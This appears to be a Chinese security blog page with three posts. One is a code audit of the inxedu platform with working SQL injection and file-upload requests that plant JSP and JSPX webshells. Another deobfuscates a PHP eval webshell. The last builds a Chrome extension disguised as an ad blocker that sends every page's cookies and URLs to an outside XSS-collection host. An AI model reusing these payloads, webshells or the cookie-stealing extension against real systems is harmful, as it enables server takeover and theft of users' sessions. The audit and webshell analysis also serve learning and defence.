分类 工具开发 下的文章

inxedu开源视频教育平台代码审计(java)

一个开源的教育框架(inxedu),看别人文章发现的这个程序,也找到不少问题。正好最近学javaweb代码审计,就当练手了。

sql注入:
系统使用mybatis,这样其实查看数据执行很方便,直接看xml就好了。而且找注入嘛、直接全局搜${就找到好多个,不过我发现其实应该不是开发者没注意防注入的问题,而是${xxx}都是只在后台参数传递的时候使用。so、注入就比较鸡肋。找到两个有回显的(其中有一个别人曾经交过洞,我就没往上写、CVE-2019-3576),一个无回显的注入。无回显在已知绝对路径的情况下可以写马。poc利用就是找了tmp目录写了马。
/inxedu/demo_inxedu_open/src/main/resources/mybatis/inxedu/system/SysRoleMapper.xml

<insert id="createRoleFunction" parameterType="java.lang.String">
INSERT INTO SYS_ROLE_FUNCTION(<include refid="sys_role_function_column"/>)
VALUE ${value}
</insert>
    /**
     * 创建角色权限关联
     * @param value
     */
    public void createRoleFunction(String value);

看到是和权限控制有关
-w833
找到功能点后测试确实存在问题。

POST /admin/sysrole/saveroelfunction/2 HTTP/1.1
Host: 127.0.0.1:82
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 412
Origin: http://127.0.0.1:82
Connection: close
Referer: http://127.0.0.1:82/admin/sysrole/showroleList
Cookie: admin-token=; JSESSIONID=1DAA0E6A98BEA115043F997A0E41C476; inxeduweb_user_login_=6f5e7edc20b24ce180089526ceeb093f; inxedulogin_sys_user_=inxedulogin_sys_user_1

functionIds=61%2C62%2C80%2C81%2C30%2C32%2C79); set global general_log='on';
SET global general_log_file='/tmp/test.jsp';
SELECT '<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>';#

<!-- 删除广告图片 -->
<delete id="deleteImages" parameterType="java.lang.String">
  DELETE FROM EDU_WEBSITE_IMAGES WHERE IMAGE_ID IN(${value})
</delete>
POST /admin/website/delImages HTTP/1.1
Host: 127.0.0.1:82
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: http://127.0.0.1:82
Connection: close
Referer: http://127.0.0.1:82/admin/website/imagesPage
Cookie: admin-token=; JSESSIONID=51DA0B24124A0158F5809EEDD2F7F1E2; inxedulogin_sys_user_=inxedulogin_sys_user_1
Upgrade-Insecure-Requests: 1

imageId=320) or updatexml(1,concat(0x7e,(user())),0) #

-w1628

getshell:
前台:
抓到上传接口
-w1023
文件是base.jsp

<%!
/**图片、CSS、js静态资源文件地址*/
    static String staticServer = CommonConstants.staticServer;
    /**上传服务用服务器地址,访问时用staticImage,数据库中不存储域名*/
    static String uploadServerUrl=CommonConstants.uploadImageServer;
     /**页面显示图片的前缀路径*/
    static String staticImage=CommonConstants.staticImage;

    //内容编辑器上传图片路径
    static String keuploadSimpleUrl = uploadServerUrl+"/image/keupload?";
    //图片上传路径 
    static String uploadSimpleUrl = uploadServerUrl+"/image/gok4?";
    %>

找到./inxedu/demo_inxedu_open/src/main/java/com/inxedu/os/common/controller/VideoUploadController.java上传功能代码。


    /**
     * 视频上传
     */
    @RequestMapping(value="/uploadvideo",method={RequestMethod.POST})
    public String gok4(HttpServletRequest request,HttpServletResponse response,@RequestParam(value="uploadfile" ,required=true) MultipartFile uploadfile,
            @RequestParam(value="param",required=false) String param,
            @RequestParam(value="fileType",required=true) String fileType){
        try{

            String[] type = fileType.split(",");
            //设置图片类型
            setFileTypeList(type);
            //获取上传文件类型的扩展名,先得到.的位置,再截取从.的下一个位置到文件的最后,最后得到扩展名
            String ext = FileUploadUtils.getSuffix(uploadfile.getOriginalFilename());
            if(!fileType.contains(ext)){
                return responseErrorData(response,1,"文件格式错误,上传失败。");
            }
            //获取文件路径
            String filePath = getPath(request,ext,param);
            File file = new File(getProjectRootDirPath(request)+filePath);

            //如果目录不存在,则创建
            if(!file.getParentFile().exists()){
                file.getParentFile().mkdirs();
            }
            //保存文件
            uploadfile.transferTo(file);
            //返回数据

            return responseData(filePath,0,"上传成功",response);
        }catch (Exception e) {
            logger.error("gok4()--error",e);
            return responseErrorData(response,2,"系统繁忙,上传失败");
        }
    }

可以看到他功能实现是利用requestparam获取fileType参数类型

RequestParam(value="fileType",required=true) String fileType)
String[] type = fileType.split(",");
            //设置图片类型
            setFileTypeList(type);
            //获取上传文件类型的扩展名,先得到.的位置,再截取从.的下一个位置到文件的最后,最后得到扩展名

使用,分割上传后缀名,使用setFileTypeList设置文件后缀。
setFIleTypeList函数就在同文件最下面。

    /**
     * 设置图片类型
     */
    public void setFileTypeList(String[] type){
        fileTypeList = new ArrayList<String>();
        for(String _t : type){
            fileTypeList.add(_t);
        }
    }

那么接下来就可以构造了

POST /image/gok4?&param=temp&fileType=jspx HTTP/1.1
Host: 127.0.0.1:82
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------8316871451947876921031661416
Content-Length: 995
Origin: http://127.0.0.1:82
Connection: close
Referer: http://127.0.0.1:82/uc/initUpdateUser/1
Cookie: admin-token=; JSESSIONID=1DAA0E6A98BEA115043F997A0E41C476; inxeduweb_user_login_=6f5e7edc20b24ce180089526ceeb093f
Upgrade-Insecure-Requests: 1

-----------------------------8316871451947876921031661416
Content-Disposition: form-data; name="uploadfile"; filename="shell.jspx"
Content-Type: application/octet-stream

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:directive.page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"/><jsp:declaration> class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}</jsp:declaration><jsp:scriptlet>if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
-----------------------------8316871451947876921031661416--

-w1360

后台上传使用接口相同
-w1416

对一个加密webshell分析

大佬微信突然问我是不是马:
-w321

第一眼看花是php://input
那铁定是马啊,后来仔细一看phpunit路径

然后想起来是phpunit组件自带的,这个租钱在2014年时候有个漏洞,就是因为使用的是php//input,然后这个组件给暴露在web容器中了,导致的rce
https://github.com/sebastianbergmann/phpunit/blob/master/src/Util/PHP/eval-stdin.php
-w420


过了一会大佬又发我了一份样本。。。。今天国庆啊。。。。

<?php /*K*/$CF/*B*/='c'./*exit();*/"".'r'./*echo;*/"".'e'./*S*/"".'a'./*E*/"".'t'./*F*/"".'e'./*G*/"".'_'./*H*/"".'f'./*J*/"".'u'./*die*/"".'n'./*I*/"".'c'./*H*/"".'t'./*J*/"".'i'./*L*/"".'o'./*S*/"".'n';$EB/*exit();*/=@$CF/*F*/('','e'.""./*M*/'v'.""./*Z*/'a'.""./*K*/'l'.""./*B*/'(b'.""./*D*/'a'.""./*E*/'s'.""./*sleep(0);*/'e'.""./*L*/'6'.""./*C*/'4'.""./*J*/'_'.""./*Y*/'d'.""./*I*/'e'.""./*H*/'c'.""./*J*/'o'.""./*V*/'d'.""./*O*/'e'.""./*exit*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*die;*/();/*exit("TP");*/ ?>

解密整理后:

<?php 
$CF ='create_function';
$EB=@$CF(eval(@session_start();
if(isset($_POST['code'])substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];
if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode'])););)
$EB();
?>

发现使用密码:

substr(sha1(md5($_POST['a'])),36)=='222f'

这句话就是判断密码,首先将变量a经过md5加密后再使用sha把密文在加密,使用substr函数截取40位sha加密后从第37-40这四个字符,如果等于222f那就代表密码正确。这种加密不可逆, 但是我们可以修改222f为自己已知的加密后的内容
比如改成:df86
-w893
-w909

-w558

修改原样本密码后:

<?php /*K*/$CF/*B*/='c'./*exit();*/"".'r'./*echo;*/"".'e'./*S*/"".'a'./*E*/"".'t'./*F*/"".'e'./*G*/"".'_'./*H*/"".'f'./*J*/"".'u'./*die*/"".'n'./*I*/"".'c'./*H*/"".'t'./*J*/"".'i'./*L*/"".'o'./*S*/"".'n';$EB/*exit();*/=@$CF/*F*/('','e'.""./*M*/'v'.""./*Z*/'a'.""./*K*/'l'.""./*B*/'(b'.""./*D*/'a'.""./*E*/'s'.""./*sleep(0);*/'e'.""./*L*/'6'.""./*C*/'4'.""./*J*/'_'.""./*Y*/'d'.""./*I*/'e'.""./*H*/'c'.""./*J*/'o'.""./*V*/'d'.""./*O*/'e'.""./*exit*/'("QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nZTgxNScmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7"));');$EB/*die;*/();/*exit("TP");*/ ?>

-w1388

-w959
其实把木马提取出来就是这三行:

<?php 
@session_start();
@$_SESSION['theCode']=$_POST['code'];
@eval(base64_decode($_SESSION['theCode']));
?>

过了一会,大佬又来一个文件。
-w245
然后我就想应该是软件扫出来的马记录吧。
然后搜索了下常见命令执行函数:
找到了exec ,然鹅是写死的。
传入变量是可控,可能存在rce(然鹅我没弄过thinkphp所以不知道是否过滤了)
但是这个文件初步判定是非马,就没继续看了。看注释很多也像正常文件。
-w638

Chrome插件后门制作

最近看大佬写个chrome后门,看思路学习了下chrome的插件规范,仿着就实现了下。
最简易的插件是由两个文件组成,分别是mainiftest.json和实现功能的js文件,如果为了伪造更真实的插件可以加入图标,和介绍操作交互页面。
maniftest.json

{
    "name": "清除页面广告",
    "version": "2.0",
    "manifest_version": 2,
    "description": "简易制作的清除页面广告的chrome扩展程序",
    "permissions": [
        "http://*/"
    ],
    "icons": {
        "16": "icon-16-coco.png",
        "128": "icon-128-coco.png"
    },
    "browser_action": {
        "default_icon": "icon-16-coco.png",
        "default_popup": "popup.html"
    },
    "content_scripts": [{
        "matches": ["http://*/", "https://*/", "http://*/*", "https://*/*"],
        "js": ["bd.js"]
    }]
}

js内容我直接写xss平台中的代码。获取cookie

(function(){(new Image()).src='https://xsshs.cn/xss.php?do=api&id=zzzzzzzzzz&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if('1'==1){keep=new Image();keep.src='https://xsshs.cn/xss.php?do=keepsession&id=zzzzzzzzzzz&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
;;var xss = function(){
  var x = {
   'name':'xss.js',
    'version':'0.1',
    'author':'jackmasa'
 };

  x.x=function(id){return document.getElementById(id)};

  //容错取值
  x.e=function(_){try{return eval('('+_+')')}catch(e){return''}};

  //浏览器 
  x.i={
   i:!!self.ActiveXObject,
   c:!!self.chrome,
    f:self.mozPaintCount>-1,
   o:!!self.opera,
   s:!self.chrome&&!!self.WebKitPoint
  };

  //UA
  x.ua = navigator.userAgent;

  //判断是否为苹果手持设备
 x.apple=x.ua.match(/ip(one|ad|od)/i)!=null;

  //随机数
 x.rdm=function(){return~~(Math.random()*100000)};

 //url编码(UTF8)
 x.ec=encodeURIComponent;

  x.html=document.getElementsByTagName('html')[0];

  /*
   * 销毁一个元素
  */
 x.kill=function(e){
   e.parentElement.removeChild(e);
 };

  /*
   *绑定事件
   */
 x.bind=function(e,name,fn){
   e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent("on"+name,fn);
 };

  /*
   * dom准备完毕时执行函数
  */
 x.ready=function(fn){
   if(!x.i.i){
     x.bind(document,'DOMContentLoaded',fn);
   }else{
      var s = setInterval(function(){
       try{
          document.body.doScroll('left');
         clearInterval(s);
         fn();
       }catch(e){}
     },4);
   }
 }

 /*
   * 同源检测
  */
 x.o=function(url){
    var link = x.dom('<a href="'+encodeURI(url)+'">',2);
    return link.protocol+link.hostname+':'+link.port==location.protocol+location.hostname+':'+link.port;
  };

  /*
   * html to dom
   */
 x.dom=function(html,gcsec){
   var tmp = document.createElement('span');
   tmp.innerHTML=html;
   var e = tmp.children[0];
    e.style.display='none';
   x.html.appendChild(e);
    gcsec>>0>0&&setTimeout(function(){
     x.kill(e);
    },gcsec*1000);
    return e;
 };

  /*
   * ajax
  */
 x.ajax = function(url,params,callback){
   (params instanceof Function)&&(callback=params,params=void(0));
   var XHR = (!x.o(url)&&window.XDomainRequest)||
          window.XMLHttpRequest||
         (function(){return new ActiveXObject('MSXML2.XMLHTTP')});
   var xhr = new XHR();
    xhr.open(params?'post':'get',url);
    try{xhr.setRequestHeader('content-type','application/x-www-form-urlencoded')}catch(e){}
   callback&&(xhr.onreadystatechange = function() {
      (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304))&&callback.apply(this,arguments);
   });
   xhr.send(params);
 };

  /*
   * no ajax
   */
 x.najax=function(url,params){
   if(params){
     var form = x.dom('<form method=post accept-charset=utf-8>');
      form.action=url;
      for(var name in params){
        var input = document.createElement('input');
        input.name=name;
        input.value=params[name];
       form.appendChild(input);
      }
     var iframe = x.dom('<iframe name=_'+x.rdm()+'_>',6);
      form.target=iframe.name;
      form.submit();
    }else{
      new Image().src=url+'&'+x.rdm();
    }
 };

  /*
   * 钓鱼
  */
 x.phish=function(url){
    x.ajax(url,function(){
      document.open();
      document.write(this.responseText);
      document.close();
     history.replaceState&x.o(url)&&history.replaceState('','',url);
   })
  };

  /*
   * 表单劫持
  */
 x.xform=function(form,action){
    form.old_action=form.action,form.old_target=form.target,form.action=action;
   var iframe = x.dom('<iframe name=_'+x.rdm()+'_>');
    form.target=iframe.name;
    setTimeout(function(){
      x.bind(iframe,'load',function(){
        form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();
     })
    },30);
  };

  /*
   * 函数代理
  */
 x.proxy=function(fn,before,after){
    return function(){
      before&&before.apply(this,arguments);
     var result = fn.apply(this,arguments);
      after&&after.apply(this,arguments);
     return result;
    }
 };

  return x;
}();x=new Image();
x.src="https://xsshs.cn/authtest.php?id=zzzzzz&info=";

-w1487

然后导入chrome
-w1123

-w619
-w367

这样就达到了隐藏的目的
随便访问下百度
-w1582
成功获取访问记录和cookie

https://www.cnblogs.com/mq0036/p/4837186.html
https://github.com/TheKingOfDuck/myScripts/tree/master/ChromeExtBackdoor